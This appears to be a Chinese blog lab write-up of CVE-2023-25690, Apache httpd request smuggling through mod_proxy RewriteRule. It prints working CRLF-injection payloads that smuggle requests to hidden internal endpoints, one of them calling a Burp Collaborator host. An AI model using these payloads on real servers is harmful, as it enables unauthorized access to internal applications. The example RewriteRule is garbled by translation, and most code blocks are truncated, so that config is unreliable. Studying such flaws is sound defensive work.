简介
Apache HTTP Server 2.4.0到2.4.55版本上的一些mod_proxy配置允许HTTP请求走私攻击。当mod_proxy与某种形式的RewriteRule或ProxyPassMatch一起启用时,配置会受到影响,其中非特定模式匹配用户提供的请求目标(URL)数据的某些部分,然后使用变量替换重新插入被代理的请求目标。例如:
1 | RewriteEngine on |
请求分割/走私可能导致绕过代理服务器中的访问控制,将意外的url代理到现有的源服务器,以及缓存中毒。建议用户至少更新到Apache HTTP Server的2.4.56版本。
易受攻击的Apache配置崩溃
在apache配置中包含RewriteEngine,可以启用URL重写引擎。URL重写是一种技术,它允许web服务器在提供内容之前动态地将客户端浏览器请求的URL更改为不同的URL。
例如,假设我们有一个在线电子商店的URL结构如下:
https://example-shop.com/categories/1
假设Apache配置文件中有以下RewriteRule指令:
RewriteRule“^ /类别/(. )”“http://example-shop.com: 8080 /类别? id = 1美元”;[P]
当用户请求URL https://example-shop.com/categories/1时,RewriteRule将匹配URL并使用正则表达式^/categories/(.)捕获值1。然后,该规则通过将捕获的值作为查询参数id附加到重写的URL,将URL重写为http://example-shop.com:8080/categories?id=1。
由于规则中存在[P]标志,Apache将把重写的URL视为代理请求,并将其转发到目标服务器http://example-shop.com:8080/categories,查询参数id设置为1。然后,目标服务器将处理请求并将响应发送回Apache, Apache将其转发给客户端。
总之,带有[P]标志的RewriteRule指令用于重写url并将它们代理到不同的服务器。在这种情况下,规则匹配以/categories/开头的URL,并将捕获的值作为查询参数id附加到重写的URL。然后Apache将请求转发给目标服务器,目标服务器处理请求并返回响应。
最后,关于ProxyPassReverse /categories/ http://example-shop.com:8080/这一行简单地用代理服务器的域和路径替换后端服务器的域和路径,以便客户端能够正确地遵循链接并访问来自代理后端服务器的内容,就好像它是直接从代理服务器提供的一样。
Data Flow
![](Apache HTTP Server 请求走私漏洞 CVE-2023-25690\1.png)
为了模拟Apache中的漏洞,我们将使用httpd版本2.4.55。此外,整个实验室将被码头化,以提高设置、配置和再现性的便利性。实验文件结构如下:
1 | lab/ |
最终的httpd.conf配置结构如下:
1 | ErrorLog "/usr/local/apache2/logs/error.log" |
HTTP请求分裂导致后端服务上的HTTP请求走私
在本节中,我将解释CRLF注入如何导致内部HTTP请求走私,使攻击者能够未经授权访问原本无法访问的内部资源。
识别CRLF注入
根据建议描述,httpd <=2.4.55容易受到HTTP响应分裂(也称为CRLF注入)的攻击。
CRLF注入发生在:
数据通过不受信任的源(最常见的是HTTP请求)进入web应用程序
该数据包含在发送给web用户的HTTP响应头中,而不需要验证是否存在恶意字符。
在我们的例子中,可以通过在URL中传递以下CRLF前缀来确认:
1 | HTTP/1.1\r\nFoo: baarr\r\n\r\n |
通过将上述前缀附加到URL,最终请求将如下所示:
1 | GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1 |
在请求之后,服务器将处理数据并返回一个200响应码,表示对CRLF注入的漏洞。
1 | HTTP/1.1 200 OK |
内部HTTP请求通过头注射走私
使用报头注入,我们将执行内部HTTP请求走私。
让我们从下面的前缀开始:
1 | HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED |
下面的请求
1 | GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1 |
应用重写规则,请求将被转换为以下格式:
1 | GET /categories.php?id=1 HTTP/1.1 |
其中编码的URL被解码为有效的HTTP语法,导致后端将解码的数据视为第二个请求。
![](Apache HTTP Server 请求走私漏洞 CVE-2023-25690\2.png)
假设我们的内部应用程序有以下密码:
1 | #Internal secret functionality |
通过以下前缀,我们可以发送第二个请求隐藏的功能:
1 | HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net |
1 | GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1 |
并检索burp合作者的请求:
![](Apache HTTP Server 请求走私漏洞 CVE-2023-25690\3.png)
影响
此漏洞的影响是,它允许攻击者瞄准并访问本应由反向代理隐藏的内部应用程序,从而可能导致未经授权的访问、数据泄漏或进一步利用。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com